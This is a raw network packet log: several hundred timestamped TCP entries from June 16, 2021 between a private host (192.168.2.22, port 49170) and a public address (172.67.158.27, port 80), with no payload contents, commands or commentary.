Jun 16, 2021 12:05:58.183676004 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.183690071 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.183696985 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.183706045 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.183717012 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.183727980 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.183737993 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.183758020 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.183913946 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.183938026 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.183959007 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.183979034 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.183994055 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.184000969 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.184175014 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.184199095 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.184220076 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.184240103 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.184259892 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.184279919 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.184299946 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.184314013 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.184318066 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.184320927 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.184341908 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.184360981 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.185112953 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.185138941 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.185159922 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.185180902 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.185195923 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.185199976 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.185203075 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.185225010 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.185245037 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.185265064 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.185286045 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.185307026 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.185317039 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.185321093 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.185327053 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.185347080 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.186053038 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.186077118 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.186098099 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.186117887 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.186136961 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.186147928 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.186152935 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.186156988 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.186177969 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.186197042 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.186218977 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.186243057 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.186991930 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.187015057 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.187032938 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.187037945 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.187037945 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.187057972 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.187078953 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.187099934 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.187136889 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.187158108 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.187170029 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.187174082 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.187179089 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.187199116 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.187218904 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.187238932 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.187942982 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.187967062 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.187989950 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.188002110 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.188005924 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.188010931 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.188033104 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.188052893 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.188074112 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.188093901 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.188113928 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.188123941 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.188127041 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.188133955 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.188836098 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.188859940 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.188880920 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.188900948 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.188921928 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.188931942 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.188936949 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.188941956 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.188961983 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.188982010 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.189002991 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.189023018 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.189038038 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.189062119 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.189070940 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.189075947 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.189089060 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.189707994 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.189732075 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.189752102 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.189774036 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.189795017 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.189825058 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.189848900 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.189857960 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.189862967 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.189873934 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.189898014 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.189922094 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.189945936 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.190572023 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.190597057 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.190726995 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.190748930 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.190762997 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.190767050 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.190773010 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.190793991 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.190814018 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.190834045 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.190855026 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.190875053 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.190884113 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.190887928 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.190896988 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.190920115 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.190941095 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.190960884 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.191669941 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.191694021 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.191715002 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.191728115 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.191732883 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.191735029 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.191756010 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.191777945 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.191797972 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.191818953 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.191839933 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.191848993 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.191853046 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.191862106 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.191884995 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.191905022 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.192064047 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.192090034 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.192579985 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.192603111 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.192622900 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.192641020 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.192662954 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.192683935 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.192693949 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.192698002 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.192703009 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.192723989 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.192744017 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.192764044 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.192784071 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.192804098 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.192815065 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.192819118 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.211456060 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.211484909 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.211496115 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.211525917 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.211545944 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.211566925 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.211586952 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.211606979 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.211615086 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.211627960 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.211632967 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.211648941 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.211668968 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.211689949 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.211924076 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.211945057 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.211963892 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.211966991 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.211967945 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.211990118 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.212013960 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.212034941 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.212053061 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.212075949 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.212095022 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.212116003 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.212132931 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.212136984 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.212138891 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.212162971 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.212739944 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.212759018 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.212784052 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.212807894 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.212831974 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.212842941 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.212847948 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.212857008 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.212882996 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.212907076 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.212930918 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.212954998 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.212979078 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.213002920 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.213036060 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.213038921 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.213650942 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.213669062 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.213694096 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.213716984 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.213737011 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.213763952 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.213788033 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.213810921 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.213823080 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.213829041 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.213835001 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.213860035 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.213882923 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.213907003 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.214062929 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.214554071 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.214571953 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.214597940 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.214613914 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.214638948 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.214658976 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.214679003 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.214699984 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.214715958 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.214720964 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.214721918 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.214745045 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.214766979 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.214787960 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.214798927 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.214802980 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.215466022 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.215487003 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.215512991 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.215537071 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.215560913 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.215585947 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.215595007 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.215599060 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.215610027 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.215635061 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.215657949 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.215682030 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.215698004 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.215719938 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.215724945 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.215728045 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.216377020 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.216401100 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.216420889 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.216440916 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.216461897 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.216483116 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.216504097 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.216516972 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.216521978 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.216525078 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.216546059 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.216566086 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.216586113 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.216607094 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.216639996 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.216645956 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.217338085 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.217365026 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.217386007 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.217406034 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.217426062 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.217446089 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.217466116 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.217478991 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.217483997 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.217487097 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.217508078 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.217529058 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.217550039 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.217571020 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.217602968 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.217611074 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.218209982 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.218235016 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.218255043 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.218276024 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.218296051 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.218307972 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.218312979 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.218317032 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.218338013 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.218358040 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.218378067 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.218398094 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.218417883 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.218437910 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.218449116 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.218452930 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.219135046 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.219152927 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.219160080 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.219187975 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.219212055 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.219235897 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.219259977 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.219284058 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.219304085 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.219309092 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.219309092 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.219335079 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.219335079 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.219337940 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.219358921 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.219383001 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.221911907 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.221966982 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.226212978 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.226246119 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.226267099 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.226288080 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.226306915 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.226326942 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.226353884 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.226377964 CEST	80	49170	172.67.158.27	192.168.2.22
